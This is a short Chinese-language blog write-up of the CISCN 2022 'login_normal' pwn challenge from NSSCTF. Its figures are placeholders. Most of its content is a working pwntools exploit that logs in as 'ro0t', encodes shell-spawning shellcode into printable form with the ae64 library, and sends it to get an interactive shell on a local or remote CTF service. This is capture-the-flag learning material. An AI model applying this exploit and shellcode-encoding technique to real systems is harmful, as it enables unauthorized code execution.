Featured image of post NSSCTF-CISCN-2022-login_normal 题解

NSSCTF-CISCN-2022-login_normal 题解

|

题目

题目链接

checksec

这是什么鸭

IDA

main

这是什么鸭

vuln

这是什么鸭

这是什么鸭

root

这是什么鸭

shellcode

这是什么鸭

有 shellcode 执行

攻击思路

读懂代码后发现难点主要在构造 printable shellcode 上

今天状态不好,没有深入研究,用的 ae64 ,之后会自己试着搓一个看看

exp

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
from ae64 import AE64

context.log_level = 'debug'
context.arch = 'amd64'
context.terminal = ['tmux', 'splitw', '-h']

debug = 1

if debug:
	io = process('./service')
else:
	io = remote('node5.buuoj.cn', 26980)

def attack():
	payload = b'opt:1\nmsg:ro0t \n\n'
	io.sendafter(b'>>> ', payload)
	sc = AE64().encode(asm(shellcraft.sh()), 'rdx')
	payload = b'opt:2\nmsg:' + sc + b' \n\n'
	io.sendafter(b'>>> ', payload)
	io.interactive()

attack()
本博客已稳定运行
发表了40篇文章 · 总计96383字
使用 Hugo 构建
主题 Stack 设计自 Jimmy